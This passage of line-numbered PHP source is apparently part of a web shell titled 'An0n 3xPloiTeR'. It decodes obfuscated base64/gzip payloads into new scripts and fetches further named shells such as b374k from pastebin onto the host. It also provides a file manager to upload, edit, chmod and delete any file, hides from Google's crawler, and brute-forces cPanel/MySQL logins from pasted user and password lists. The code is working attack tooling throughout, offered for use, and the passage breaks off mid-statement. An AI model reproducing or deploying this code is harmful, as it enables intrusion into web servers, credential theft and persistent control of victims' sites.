QfPFN9qGZhhj/xQ7ogA3KH1n8wmTi840DLROj991bBZ1P6xVI6AfUbbvE4hRpSJ4SyME7Uus3+tqHWDYycP6kfxk3+bQIh97RIEIaBybtYzSTAJh5hJ5/3R5i9scuskNC3LQcMGxNyGmZ8F2shz37TfdkNmqUHlsjxye6a7Uvsl5npKQysOzuRRmeL460q672kkGMauWxhFw569MbVJ2BvcdEKWiagloHfPCm7pHNVXuSrzrHJAtpVoKp39riiT3mUUBpopsY2HYJtp895fAum/XMsgYxziU8AsrubmEHm5GoPtxfuh5dR2tG9mmIUYDPMUKj8GMducCQHzwsaZ/LYS3bJj83Vv8dgDVmFQiTtjSxYlW3jA/YSX/IUsmlfA0ub8JUusTqPKWHgisrgtojt4CAWGKoQ5D1206izKEUBKDcqg3i8SgggvMrug4JCYdLlTgclJ0wgP8d1CKmIz/hWTYEiBgCN0LrOp1Z6ewsmD+9BGOd2n9kcsyHs1qc/Fy5UAUV8Uu+ISpePv+G64R1AZCJxLpxJ2bX9LfkPYjXg7BgxlrEiATiqrWLs281LiZ707jIFuTP7ihlhr7XMptgeMGBiNyH2j8CWoO/j/FQzUsr4Rsr6cSVcxr6Ri7ajifSlbXMHUGpwOqmp5wvvyhMDLEMfy6Pccn7j3btuVAefqPr7sIooH4ff4nnQwSGYkxHMIwXnVSFuxuQMZei/uP1ApAzLxDwQNMXhnT20rQqAK2U1DxLrdySf2ZGg0tDgI1/JSw00Q8ghPFdsw+JlJvFDstizgTpm1DVUnAH0GV2lNKyr9JQRSdWb5PsgoJ3kSR1aeMokMZDMnC7BsZgO1Qk4DTvSls/D+RwqtnyO/nFtSko4DA5S9RkAAuGEFCra02Tty8d6LZbUyVbQOiPDtVZYuSz90YJoqGygybmdJS5sfxz8KdFFX0ENkuTJZFll78WklesAFSE5uYcpeIqbdwIExvfGC91iBbMRuI3fUzjUyUHBtofK2qt4HBGXZvvlBXHamEWwJbk33TpRi5FIUK/8ERt0URf7nrXCSLjjli02Nb8znE57sM/FZe71+CF9BPuUjfFmdLvLKJUjnuIkHoz4g4Gkh1I1MQk7GTGYKfuxFslj83QoMwZEk98KsE35AuQOd42Q/BjYjKFKKX8r09uI34GNDdTIh6+TfAZbdAGcwq61wUCixx/sJHP0WVPbO6m065NLdya/bzImQ3Gz8wqvWcvCEob7PsuQfmxu6jUREFMh8ZwsDvkyy9MNhTmZfDPvd9oKiwUnFidX1iLH/JfG+LlBwN7cbMgZqbx2/8NhcQXqY/fBdrTVrHFGcUI+ggG2CGEmRbcpyDwsO0zH9lTVJ4Rq1KjYZoKdXzAZbMbRR7ODrCWxI62BbBLPR88r85Uaafuzh/2GgLYAIqp3ApxJmhblaeRAxG4fC9p5w8El3DVUMWFcIr+RVGhN9U0YVkC7p87hRJ5QYsa3/lOhJDhER/g76TvQPEnlq1+uJgOion+WMqw7CSXn4wewYUWib5Wd3yN7+nBO5+VPjZEJozNHwE+g7lFACRyIOlQWSGL5QXQCWz85slfTDTJ3+XzloA70cncFlo9bjmBCr3R+O5TGND0E2IAh4xLfdO2dU/fiLrJV2LQBM7Earir3vQDnanX1qcjprKdSq8yNp1fuhwgnbTtxbSXBgZ66mpbgrz8nKruKhYoyukPIsKneAiGVxri/oGSsvJmd0GW3lveYD4ek1JJhWxc23k901VOe70tzC9L++5KrlGoJOqR1mZ+rvx0gz49f3Z+qre/QAfr6V/f36tey/meW/33M8j+Vdz0U3a8t/9Pffq05S3+u/3Zm/p/eP6iRq97ef/71j+X2l/8H";
  1614. $lalala = @fopen("symlinker.php", "w");
  1615. @fwrite($lalala, htmlspecialchars_decode(gzinflate(base64_decode($php_symlinker))));
  1616. @fclose($lalala);
  1617. header("Location:symlinker.php");
  1618. }
  1619.  
  1620. if (isset($_POST['mass'])) {
  1621. $php_mass = "vVl7c9q6Ev+7nel30MzhFmgpsc0rwDDnkIRnG0qAAKF0XD8EOBib2iaBNP3ud1eSDUmTPu6ZubTG0u7qtw+tpBV5bQflwAps+noelEeuZ6496vvkXIOvMzrTDOqRkx2pOpJDMtuu7VoD2nsNg46iUa9eYt8PdmFXd83dq5ffXr18oWvGcu65G8cskb+kYyknS8B/Ybi26wGlXi8WMxmkrDXTtJx5iUjrLfS/v3qplWzLWaYIgqkatjnkj2MDug3emdRwPS2wXKdEHNehIciN5VsBNUMc0f2foBbuDfVSRCtpRmDd0BCSkR8D4ucXgAEYFSxSZJ0itpUKNN2mHOVx3BSq6MoxoukwP9Qryest8V3bMslfOSU7y+Y5oOWsN4GIOxckkSSL+sbz0TwTpnVj40ShKrR+Zru3JbKwTJM65efVh+7N2AeVonuaR7U/0/rb8JBKmyBwnf+vUzyfjw4SmvUXVDN5lxNw9ok+Z+Mrr79uXCDZoIM3uSQhKPn3erEm1ixh+T4NEjG1URt84lK4rHjrc7IiQKbbTGa6LRx37ek2P4OnON3mshS+FC6Q/EZvNDvBO3+DOOXNtK75NJ9VMd1MKvjdxgTA8gCTWYGoBI2CDliFITblRnHZhV6mDV8y6gEZeGfpJXwVrRNbX2FPouMTEDe6/XYA7ywCoI2IqEEHGlllYTgcBdXltFVxB6JKHwh51FgcowsLjrtAAnraA3G0RIEOPtliy0KRt6foeXWObXgyVeAdo8UjaORuzfEFeoK2NNEwQClM9vajnzlm2AI7rQYOAjlEUAAhB51M0QByNs/iAA0cCk9Wb6E+eNDwQotzCsdrHOqgn0jPnp5IOCXHYVhWHIWHxeZW54snG/RzJHMTc5IIdd7URlsbjS4yX7lCnOisPG+dVrmjOXTK5NHNyZG79i1zVL4LJ4JNCeo+vpgjbVWHgYiXjTxtCQPyCMmjnS0UF5NTHuprJN9MVkW0SBdhzL7vnuHYWxGfYx6SLPCzGo7HEK9DsOGdiBRPMW5xFqc3n+/xDEALsmaPm4EJnVfQLpPh6AIRLdRatlQ45ay8sRLzwdzXJyube5fTxiGKiLaZW+jC4zxLNjaJi27YAjJF2zEt9TlFv2YQ7XCm2w0ElYUhmNsYKszS3HGPL8Vs8UyatzFpMDD90JX8EDN7yM3J5UY71HIbjkVeONwO4/MBk1xeHniDop2DmGTAG55P3CHkD/z30XqYt7ihEKCQxhO8gDOUYZj2ODNENxXMf5juMMbLMV9tB/N3KUzUGpOIhqJ3aMPOlPTxCe5Fyop7X8gKmzMmT8OsEQZSnzhDdEoXOaOIdYdChfmaZxCbEaWAVlvclQxf69F0CPwCxmSmi6UiW11E6dhiMeYU27jGXD3eL2JI6G6jhitBbuJaMyYoITlt3Alxc2DhKBzfRnsSamgLDYrEyDiQTsYXxbZctNgQXFQ5rqVQNN5eKCJHmLzih8uzcTy/GmEmXE/GHcxlNKj5eOmx6eAehlmfZ/tODndrKVwMOb7pZQ2l9rZ7ijk+O79mQTX4BLL8N1gwehgTTAEtK7aSmdA447ZBbKvzGS7MdZgtGuK/FadKsgwn39/7A8+gTkC9fR8KQ95RVRJ9wja+D+kRW91Tf+C/ejkl07BzBP/wc0/I9Ii9Hnzu2fhpKKs+4sNRy7COphyJ6bpnFHhBT0Vb2AP9e/4FPXipnB3x8dSeMhumiBRnWkFuegRfgPyFweNzH0FBD6VUxr4XfDJFqMgqVJUk+zEkAQBTdIo5hmyGyAbfczb/RgqDCq26J2kUghH37AsQUioMV49UNpiF/QiB1XuuJMWEVEbhUFFcH0f6Tz4PoR5Pyh9CsSoryjLWe5yDM9dbkRUNFq4pqqXux/6AtwiW5a4j6IL2fDqzgpvwmrISl+PIYXQvarFy74PlB8Sdkaptk/5uhRcRn99/zIeCHJYV4STYrakwBEtkYYyjrULqxrMF0bfuQqIsSYII9d0mEl1pXjoIQUKdB+qPgkO3Hpnfcky6/Ym9YQV/aJzFxnBLoLz1K/GiFCeeewstWY6zoDah0qXmj1dDSKcB1Vakqy3J6U6H22Nj4fqBT7rp03SDlLqkdEZKSTG/ofbnveJNnKu9zXrE2bd+iHt/o6+sJyL/gH4Y50PGT+aTXyh+xOXZ9wSu/GjiMId/kuJ4WXj1MmY51/pmNiMVwoe3m5O1odjS1a5abJ32ZhdSsduX7Ppo11a0cWdtNs+tMdQH2uhq/v60x2mN83l3IM1bVmvdavrvobJcmiv7Thv3rqFdbJ1VC6dw/IbYeqY17/ary7HcqV/aE3h863I57AzkXn0s1Wu9eovpYDjK0IL3nOGAPZfSsD9cDvtgT2tY712MpUX3Ur6I5LVR7usz8v3esD7sDTuXY3nY7/fb5sdbF+R60tW47cAZPG9B1WWs6hlz3PYnjeG1rvRs8DEzGbU27Ya90ayl8KMjX2E5AfKtZX1z3sjOzzOLC71RXA8bw36rObyF9gIwdq3GQjKb1fyH3fHSbNR3E2UI14R2rhXFrrhrXXPbr1bFJe2HtrdPzZGRP7Tvylk+iOEHiOHVeChp9eLt1bhzx3FO1hOr6rZGw8Bo9nLC/vX7/kmhVTsJrka2//60fUdHw6U5khfg726yGtr6dTV30TAZ/8Oqc6P3Wz7381bYtSy0mtL72cXa1psdG+Z5fpAr84+7k+Lp8uRuAnOuK0VPG126LYfzqYVYoeyywDMN8pDdLx/eJsOEhDIBL8BwkVUDa0VV24JFk5CQas0IXG5xQ/4U56sh/plUKgQ21yTc32Ow51UWwcr219SwNNtYaJ4fDQBm/DOixDY+9fzKPzPLBq1A5go5vAHXd7hBM5EkrhY5SegWDBBrDCgLGddSx4Wdy5lZczLDGz+/wDOOqHYAFBYi1YwFEXhE8wlrJck3YYZcCTxrxfnMNgxFBS1T5xAA0BDA6vUVLiGjCJxfc3WlBcZC1Ww7Eb836cxyaPrNNAFP/OxE7VTPa9N4+k0K+0BMYmeaTL8p31v+ZTzFlKRiOoOLmXoFmp/kz5+kz78Ff9mv9X4HXomCDQqUP1DQrfb7o4+9s99RkhE+qGvN92/hrAVdmT/Q1YTc+B09WaYHDxpQkH1ewTTGjhIVGDNrm35TOcR9hJljmGsAzEWA+C9mVv5Z7fyvNs6/Q40gQZjmFM8eeB34S5IkXBkmLgIx0qc2DFRNHcg6YYp8d+MZtOJDxq19W/MXdL842IEsloevoMzAbdJtIiFGJTmnsl8FvgEwAea76RqbFWRpOmzUbMr6FhjvNQfnH+CM2TjUN7Q1TcTjoCAeT/Kjao8SbQ0xKAdAv00dUJ58pzDFX+2wVlmbWkDFkZWOrdO85a5xN/AJ7BqEt1V+Qsa1klL6ZpWUslbKlL75pVxpKsom/HVZtMt+SQrpe1I2EoUiYk8GA0NGzN+T8yERVi+ctyFDL0nl735JVkK2utrYgXVrmbDAQyGrJJe/x8ntgno0tJ+d/HEup6IF8TKJgsQn+euGersERoclwb8LUwGjIxdDM2/XquXw36FVbkTkqwa+QkglcFqOwqZ5xgJk/XfKoVMHYYGiWjtkKsA8Dpk+xfGH7Ez5MGgGeDN3PeshfhZlolnyKFY679ZYDB5K5VCq8EjKcFeYoweCMEmR875lUl3z3sl7l+XQ5fxhVvx8uLIfLpW+PSWR+aVE9pcSuccScmY/KZ62U2/g7IGpPozt08kmEP1wwuPlnycc7jqzjcNOYhVOSQi8OCdXOu5doDhQqQPbneXMxbFIkuy3drGvKLA1PCELu0RaSKTj8RSJXw7q747jB9uYUuEWwQFrq3xrUXFng7GhRFIsiajCveyeVQc18uWZVfGF9GsD8uVwXXyBsfEQL05GzVqvFklgzJiAbrtz7ByE658n4hUt0X9nDg/Fz2xRWeFDg9+w5zuYpGmVB+xwReIB8mCXIDPPXf3E3mdMwr+HYfEVFkaE7fKCGqqeUXaGYr4mwCKxnwmZsPEpfmhOHM/LWOClK+FmzKWO2GGWhlvO1HmUv4bt+jSR5I5/F8dmAPUYNRYu2R9u+ysTu90SCKgzh8soFHTkufthdM997kILip6+ku61ReaCbeHCItFhHOMJzhcQ/qIRW9BtJR4v8x4aB1V0RSqTmMXMJNE5ygci4+3bJBfHP3ih/0IGqnBAS0BFEYp/ilmfk8lkpSInv+1/hkGdJAz5f8TPCWny3HD8A9iL7/hFbZ/iG/W+eIjyuyCoX7w8Gmw8h1nDw3UQsCfLZ/QBYGJQjleIAWkCxxuU9UkRPEaBNQMJlgCZ1Oll78PH7kCFVwoGo9SLxzIkFGrWqme1XorAJSX6zeo5wF5tcNnrDHrVTh/uu6nA29Bf2gAFd7VR6wxSPFDn7p1l29pRLi2RxAiyHdKMdAYkn5bLZPRxlM+WiXcDp2daSpIGNZbukSLJEvyXSd2CwtTdHiGT7G8qL9jUetSH2iSMD91SA+1g/DDeQgRJ4Y+5/wU=";
  1622. $lalalala = @fopen("mass.php", "w");
  1623. @fwrite($lalalala, htmlspecialchars_decode(gzinflate(base64_decode($php_mass))));
  1624. @fclose($lalalala);
  1625. header("Location:mass.php");
  1626. }
  1627.  
  1628. if (isset($_POST['madleets'])) {
  1629. download_remote_file('http://pastebin.com/raw/M9mx5j4h', realpath("./") . '/madleets.php');
  1630. header("location:madleets.php"); }
  1631.  
  1632. if (isset($_POST['rooter'])) {
  1633. download_remote_file('http://pastebin.com/raw/sJxiRZAH', realpath("./") . '/rooter.php');
  1634. header("location:rooter.php"); }
  1635.  
  1636. if (isset($_POST['cpc'])) {
  1637. download_remote_file('http://pastebin.com/raw/d73HhXBk', realpath("./") . '/cpc.php');
  1638. header("location:cpc.php"); }
  1639.  
  1640. if (isset($_POST['anonghosts'])) {
  1641. download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
  1642. header("location:anonghosts.php"); }
  1643.  
  1644. if (isset($_POST['blackhat'])) {
  1645. download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
  1646. header("location:blackhat.php"); }
  1647.  
  1648. if (isset($_POST['imageshell'])) {
  1649. download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
  1650. header("location:imageshell.php"); }
  1651.  
  1652. if (isset($_POST['madspot'])) {
  1653. download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
  1654. header("location:madspot.php"); }
  1655.  
  1656. if (isset($_POST['pcd'])) {
  1657. download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
  1658. header("location:pcd.php"); }
  1659.  
  1660. if (isset($_POST['cheta'])) {
  1661. download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
  1662. header("location:cheta.php"); }
  1663.  
  1664. if (isset($_POST['zone'])) {
  1665. download_remote_file('http://pastebin.com/raw/LsRHWmAD', realpath("./") . '/zone.php');
  1666. header("location:zone.php"); }
  1667.  
  1668.  
  1669. if (isset($_POST['1337worm'])) {
  1670. download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
  1671. header("location:1337worm.php"); }
  1672.  
  1673.  
  1674. if (isset($_POST['joker'])) {
  1675. download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
  1676. header("location:joker.php"); }
  1677.  
  1678.  
  1679. if (isset($_POST['b374k'])) {
  1680. download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
  1681. header("location:b374k.php"); }
  1682.  
  1683.  
  1684. if(isset($_GET['mini_shell']))
  1685. {
  1686.  
  1687. set_time_limit(0);
  1688. error_reporting(0);
  1689.  
  1690. if(get_magic_quotes_gpc()){
  1691. foreach($_POST as $key=>$value){
  1692. $_POST[$key] = stripslashes($value);
  1693. }
  1694. }
  1695. echo '<!DOCTYPE HTML>
  1696. <HTML>
  1697. <HEAD>
  1698. <link href="" rel="stylesheet" type="text/css">
  1699. <title>An0n 3xPloiTeR File Manager</title>
  1700. <style>
  1701. body{
  1702. font-family: "Racing Sans One", cursive;
  1703. background-color: #e6e6e6;
  1704. text-shadow:0px 0px 1px #757575;
  1705. }
  1706. #content tr:hover{
  1707. background-color: #636263;
  1708. text-shadow:0px 0px 10px #fff;
  1709. }
  1710. #content .first{
  1711. background-color: silver;
  1712. }
  1713. #content .first:hover{
  1714. background-color: silver;
  1715. text-shadow:0px 0px 1px #757575;
  1716. }
  1717. table{
  1718. border: 1px #000000 dotted;
  1719. }
  1720. H1{
  1721. font-family: "Rye", cursive;
  1722. }
  1723. a{
  1724. color: #000;
  1725. text-decoration: none;
  1726. }
  1727. a:hover{
  1728. color: #fff;
  1729. text-shadow:0px 0px 10px #ffffff;
  1730. }
  1731. input,select,textarea{
  1732. border: 1px #000000 solid;
  1733. -moz-border-radius: 5px;
  1734. -webkit-border-radius:5px;
  1735. border-radius:5px;
  1736. }
  1737. </style>
  1738. </HEAD>
  1739. <BODY>
  1740. <H1><center>An0n 3xPloiTeR File Manager</center></H1>
  1741. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  1742. <tr><td>Current Path : ';
  1743. if(isset($_GET['mini_shell']) && ($_GET['path'])){
  1744. $path = $_GET['path'];
  1745. }else{
  1746. $path = getcwd();
  1747. }
  1748. $path = str_replace('\\','/',$path);
  1749. $paths = explode('/',$path);
  1750.  
  1751. foreach($paths as $id=>$pat){
  1752. if($pat == '' && $id == 0){
  1753. $a = true;
  1754. echo '<a href="?mini_shell&path=/">/</a>';
  1755. continue;
  1756. }
  1757. if($pat == '') continue;
  1758. echo '<a href="?mini_shell&path=';
  1759. for($i=0;$i<=$id;$i++){
  1760. echo "$paths[$i]";
  1761. if($i != $id) echo "/";
  1762. }
  1763. echo '">'.$pat.'</a>/';
  1764. }
  1765. echo '</td></tr><tr><td>';
  1766. if(isset($_FILES['file'])){
  1767. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  1768. echo '<font color="green">File Upload Done.</font><br />';
  1769. }else{
  1770. echo '<font color="red">File Upload Error.</font><br />';
  1771. }
  1772. }
  1773. echo '<form enctype="multipart/form-data" method="POST">
  1774. Upload File : <input type="file" name="file" />
  1775. <input type="submit" value="upload" />
  1776. </form>
  1777. </td></tr>';
  1778. if(isset($_GET['filesrc'])){
  1779. echo "<tr><td>Current File : ";
  1780. echo $_GET['filesrc'];
  1781. echo '</tr></td></table><br />';
  1782. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  1783. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  1784. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  1785. if($_POST['opt'] == 'chmod'){
  1786. if(isset($_POST['perm'])){
  1787. if(chmod($_POST['path'],$_POST['perm'])){
  1788. echo '<font color="green">Change Permission Done.</font><br />';
  1789. }else{
  1790. echo '<font color="red">Change Permission Error.</font><br />';
  1791. }
  1792. }
  1793. echo '<form method="POST">
  1794. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  1795. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1796. <input type="hidden" name="opt" value="chmod">
  1797. <input type="submit" value="Go" />
  1798. </form>';
  1799. }elseif($_POST['opt'] == 'rename'){
  1800. if(isset($_POST['newname'])){
  1801. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  1802. echo '<font color="green">Change Name Done.</font><br />';
  1803. }else{
  1804. echo '<font color="red">Change Name Error.</font><br />';
  1805. }
  1806. $_POST['name'] = $_POST['newname'];
  1807. }
  1808. echo '<form method="POST">
  1809. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  1810. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1811. <input type="hidden" name="opt" value="rename">
  1812. <input type="submit" value="Go" />
  1813. </form>';
  1814. }elseif($_POST['opt'] == 'edit'){
  1815. if(isset($_POST['src'])){
  1816. $fp = fopen($_POST['path'],'w');
  1817. if(fwrite($fp,$_POST['src'])){
  1818. echo '<font color="green">Edit File Done.</font><br />';
  1819. }else{
  1820. echo '<font color="red">Edit File Error.</font><br />';
  1821. }
  1822. fclose($fp);
  1823. }
  1824. echo '<form method="POST">
  1825. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  1826. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1827. <input type="hidden" name="opt" value="edit">
  1828. <input type="submit" value="Go" />
  1829. </form>';
  1830. }
  1831. echo '</center>';
  1832. }else{
  1833. echo '</table><br /><center>';
  1834. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  1835. if($_POST['type'] == 'dir'){
  1836. if(rmdir($_POST['path'])){
  1837. echo '<font color="green">Delete Dir Done.</font><br />';
  1838. }else{
  1839. echo '<font color="red">Delete Dir Error.</font><br />';
  1840. }
  1841. }elseif($_POST['type'] == 'file'){
  1842. if(unlink($_POST['path'])){
  1843. echo '<font color="green">Delete File Done.</font><br />';
  1844. }else{
  1845. echo '<font color="red">Delete File Error.</font><br />';
  1846. }
  1847. }
  1848. }
  1849. echo '</center>';
  1850. $scandir = scandir($path);
  1851. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  1852. <tr class="first">
  1853. <td><center>Name</center></td>
  1854. <td><center>Size</center></td>
  1855. <td><center>Permissions</center></td>
  1856. <td><center>Options</center></td>
  1857. </tr>';
  1858.  
  1859. foreach($scandir as $dir){
  1860. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  1861. echo "<tr>
  1862. <td><a href=\"?mini_shell&path=$path/$dir\">$dir</a></td>
  1863. <td><center>--</center></td>
  1864. <td><center>";
  1865. if(is_writable("$path/$dir")) echo '<font color="green">';
  1866. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  1867. echo permsa("$path/$dir");
  1868. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  1869.  
  1870. echo "</center></td>
  1871. <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
  1872. <select name=\"opt\">
  1873. <option value=\"\"></option>
  1874. <option value=\"delete\">Delete</option>
  1875. <option value=\"chmod\">Chmod</option>
  1876. <option value=\"rename\">Rename</option>
  1877. </select>
  1878. <input type=\"hidden\" name=\"type\" value=\"dir\">
  1879. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  1880. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  1881. <input type=\"submit\" value=\">\" />
  1882. </form></center></td>
  1883. </tr>";
  1884. }
  1885. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  1886. foreach($scandir as $file){
  1887. if(!is_file("$path/$file")) continue;
  1888. $size = filesize("$path/$file")/1024;
  1889. $size = round($size,3);
  1890. if($size >= 1024){
  1891. $size = round($size/1024,2).' MB';
  1892. }else{
  1893. $size = $size.' KB';
  1894. }
  1895.  
  1896. echo "<tr>
  1897. <td><a href=\"?mini_shell&filesrc=$path/$file&path=$path\">$file</a></td>
  1898. <td><center>".$size."</center></td>
  1899. <td><center>";
  1900. if(is_writable("$path/$file")) echo '<font color="green">';
  1901. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  1902. echo permsa("$path/$file");
  1903. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  1904. echo "</center></td>
  1905. <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
  1906. <select name=\"opt\">
  1907. <option value=\"\"></option>
  1908. <option value=\"delete\">Delete</option>
  1909. <option value=\"chmod\">Chmod</option>
  1910. <option value=\"rename\">Rename</option>
  1911. <option value=\"edit\">Edit</option>
  1912. </select>
  1913. <input type=\"hidden\" name=\"type\" value=\"file\">
  1914. <input type=\"hidden\" name=\"name\" value=\"$file\">
  1915. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  1916. <input type=\"submit\" value=\">\" />
  1917. </form></center></td>
  1918. </tr>";
  1919. }
  1920. echo '</table>
  1921. </div>';
  1922. }
  1923. echo '
  1924. </BODY>
  1925. </HTML>';
  1926.  
  1927.  
  1928. exit;
  1929. }
  1930. else if(isset($_GET['cp']))
  1931. {
  1932.  
  1933.  
  1934. $default_action = 'FilesMan';
  1935. @define('SELF_PATH', __FILE__);
  1936. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  1937. header('HTTP/1.0 404 Not Found');
  1938. exit;
  1939. }
  1940. @session_start();
  1941. @error_reporting(0);
  1942. @ini_set('error_log',NULL);
  1943. @ini_set('log_errors',0);
  1944. @ini_set('max_execution_time',0);
  1945. @set_time_limit(0);
  1946. @set_magic_quotes_runtime(0);
  1947. @define('VERSION', '2.1');
  1948. if( get_magic_quotes_gpc() ) {
  1949. function stripslashes_array($array) {
  1950. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  1951. }
  1952. $_POST = stripslashes_array($_POST);
  1953. }
  1954.  
  1955.  
  1956. @set_time_limit(0);
  1957. @error_reporting(0);
  1958. $login_time = 3600 * 24 * 7;
  1959. $hijau = array("#00FF00", "#006400", "#888888");
  1960. $merah = array("#FF0000", "#640000", "#888888");
  1961. $biru = array("#0000FF", "#000064", "#888888");
  1962. $kuning = array("#FFFF00", "#646400", "#888888");
  1963. $cyan = array("#00FFFF", "#006464", "#888888");
  1964. $pink = array("#FF00FF", "#640064", "#888888");
  1965. $theme = "hijau";
  1966. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1967. switch(isset($_GET['x'])){
  1968. case 'green':
  1969. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1970. $theme = "hijau";
  1971. setcookie("theme", $theme ,time() + $login_time);
  1972. break;
  1973. case 'red':
  1974. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1975. $theme = "merah";
  1976. setcookie("theme", $theme ,time() + $login_time);
  1977. break;
  1978. case 'blue':
  1979. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1980. $theme = "biru";
  1981. setcookie("theme", $theme ,time() + $login_time);
  1982. break;
  1983. case 'yellow':
  1984. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1985. $theme = "kuning";
  1986. setcookie("theme", $theme ,time() + $login_time);
  1987. break;
  1988. case 'cyan':
  1989. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1990. $theme = "cyan";
  1991. setcookie("theme", $theme ,time() + $login_time);
  1992. break;
  1993. case 'pink':
  1994. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  1995. $theme = "pink";
  1996. setcookie("theme", $theme ,time() + $login_time);
  1997. break;
  1998. }
  1999. if($theme == "hijau")
  2000. {$color = $hijau;}
  2001. elseif($theme == "merah")
  2002. {$color = $merah;}
  2003. elseif($theme == "biru")
  2004. {$color = $biru;}
  2005. elseif($theme == "kuning")
  2006. {$color = $kuning;}
  2007. elseif($theme == "cyan")
  2008. {$color = $cyan;}
  2009. else
  2010. {$color = $pink;}
  2011. echo '<head>
  2012. <style type="text/css">
  2013. <!--
  2014. body {
  2015. background-color: #000000;
  2016. font-family: Verdana;
  2017. font-size: 13px;
  2018. color: #EB4949;
  2019. margin:5px;
  2020. }
  2021. input,textarea,select{
  2022. color: #EB4949;
  2023. font-size: 13px;
  2024. border: 1px solid #EB4949;
  2025. background-color: #080808;
  2026. }
  2027. input:hover,textarea:hover,select:hover{
  2028. color: #EB4949;
  2029. font-size: 13px;
  2030. border: 1px solid #EB4949;
  2031. background-color: #080808;
  2032. }
  2033. a {
  2034. background-color: #000000;
  2035. vertical-align: bottom;
  2036. text-decoration: none;
  2037. font-size: 13px;
  2038. color:#EB4949;
  2039. }
  2040. a:hover {
  2041. background-color: #080808;
  2042. vertical-align: bottom;
  2043. text-decoration: none;
  2044. font-size: 13px;
  2045. color:#EB4949;
  2046. }
  2047. .label {
  2048. font-size: 13px;
  2049. color: #EB4949;
  2050. padding:3px;
  2051. }
  2052. td {
  2053. border-bottom:2px solid #EB4949;
  2054. background:#222;
  2055. }
  2056. -->
  2057. </style>
  2058. </head>
  2059. ';
  2060. if(isset($_POST['page']) == 'find')
  2061. {
  2062. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  2063. {
  2064. if($_POST['type'] == 'passwd'){
  2065. $e = explode("\n",$_POST['usernames']);
  2066. foreach($e as $value){
  2067. $k = explode(":",$value);
  2068. $username .= $k['0']." ";
  2069. }
  2070. }elseif($_POST['type'] == 'simple'){
  2071. $username = str_replace("\n",' ',$_POST['usernames']);
  2072. }
  2073. $a1 = explode(" ",$username);
  2074. $a2 = explode("\n",$_POST['passwords']);
  2075. $id2 = count($a2);
  2076. $ok = 0;
  2077. foreach($a1 as $user )
  2078. {
  2079. if($user !== '')
  2080. {
  2081. $user=trim($user);
  2082. for($i=0;$i<=$id2;$i++)
  2083. {
  2084. $pass = trim($a2[$i]);
  2085. if(@mysql_connect('localhost',$user,$pass))
  2086. {
  2087. echo "Virus Sites ~~~ User : (<font color='#EB4949'>$user</font>) Pass : (<font color='#EB4949'>$pass</font>)<br />";
  2088. $ok++;
  2089. }
  2090. }
  2091. }
  2092. }
  2093. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><hr noshade size=1>";
  2094. echo "<center>[Done] : <font color='#EB4949'>You Found</font> $ok <font color='#EB4949'>CPanel,</font> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2095. exit;
  2096. }
  2097. }
  2098. if(isset($_POST['pass1']) == 'password'){
  2099. error_reporting(0);
  2100. mkdir('config',0755);
  2101. $cp =
